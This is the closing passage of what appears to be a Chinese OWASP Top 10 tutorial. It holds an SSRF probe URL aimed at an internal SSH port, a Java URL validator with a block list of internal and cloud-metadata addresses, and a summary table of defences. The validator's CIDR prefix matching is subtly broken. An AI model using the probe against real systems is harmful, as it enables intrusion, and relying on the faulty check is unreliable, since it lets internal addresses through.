/fetch?url=http://192.168.1.1:22

11.3 防护措施

URL白名单验证

java 复制代码
// 安全代码:URL白名单验证
@Service
public class UrlValidator {
    
    private static final List<String> ALLOWED_DOMAINS = List.of(
        "api.example.com",
        "cdn.example.com"
    );
    
    private static final List<String> BLOCKED_IPS = List.of(
        "127.0.0.1", "localhost",
        "169.254.169.254",  // 云元数据地址
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16"
    );
    
    public boolean isAllowed(String urlString) throws Exception {
        URL url = new URL(urlString);
        String host = url.getHost();
        
        // 检查域名白名单
        if (!ALLOWED_DOMAINS.contains(host)) {
            return false;
        }
        
        // 解析IP并检查是否为内部地址
        InetAddress address = InetAddress.getByName(host);
        for (String blocked : BLOCKED_IPS) {
            if (address.getHostAddress().startsWith(blocked.split("/")[0])) {
                return false;
            }
        }
        
        // 禁止非HTTP/HTTPS协议
        String protocol = url.getProtocol().toLowerCase();
        if (!protocol.equals("http") && !protocol.equals("https")) {
            return false;
        }
        
        return true;
    }
}

12. 总结

本文系统性地介绍了OWASP Top 10中的十大Web安全漏洞,涵盖了漏洞原理、攻击手法和防护措施。

核心要点总结

漏洞类型 核心防护措施
SQL注入 参数化查询、输入验证、最小权限
XSS 输出编码、CSP、输入过滤
CSRF CSRF Token、SameSite Cookie
访问控制失效 RBAC、资源所有权验证
安全配置错误 安全默认配置、最小化暴露
漏洞组件 依赖检查、及时更新
身份认证失效 强密码、MFA、会话管理
反序列化 避免反序列化不可信数据、白名单
日志监控 记录关键事件、异常告警
SSRF URL白名单、禁止内部地址访问

安全开发原则

  1. 最小权限原则:默认拒绝,仅授予必要权限
  2. 纵深防御:多层安全措施,单点失效不影响整体
  3. 安全默认:默认配置应该是安全的
  4. 输入验证:所有外部输入都是不可信的
  5. 输出编码:根据上下文正确编码输出

思考题

  1. 在你的项目中,是否已经针对OWASP Top 10进行了安全审计?

  2. 如何在开发流程中融入安全测试,实现"安全左移"?

  3. 对于微服务架构,安全防护有哪些特殊的挑战?


参考资料

相关推荐
Zzj_tju2 小时前
Java 从入门到精通(十一):异常处理与自定义异常,程序报错时到底该怎么处理?
java·开发语言
CDN3602 小时前
游戏盾不生效、攻击防不住?策略校验与节点切换教程
网络·游戏
reasonsummer2 小时前
【白板类-03-01】20260402画板01(html+希沃白板)
前端·html
aP8PfmxS22 小时前
Lab3-page tables && MIT6.1810操作系统工程【持续更新】
java·linux·jvm
白眼黑刺猬2 小时前
金融、保险与风控:安全、精准与合规
安全·金融
无籽西瓜a2 小时前
【西瓜带你学设计模式 | 第十二期 - 装饰器模式】装饰器模式 —— 动态叠加功能实现、优缺点与适用场景
java·后端·设计模式·软件工程·装饰器模式
吴声子夜歌2 小时前
Node.js——zlib压缩模块
java·spring·node.js
"Wild dream"2 小时前
NodeJs内置的Npm
前端·npm·node.js
海参崴-2 小时前
深入剖析C语言结构体存储规则:内存对齐原理与实战详解
java·c语言·开发语言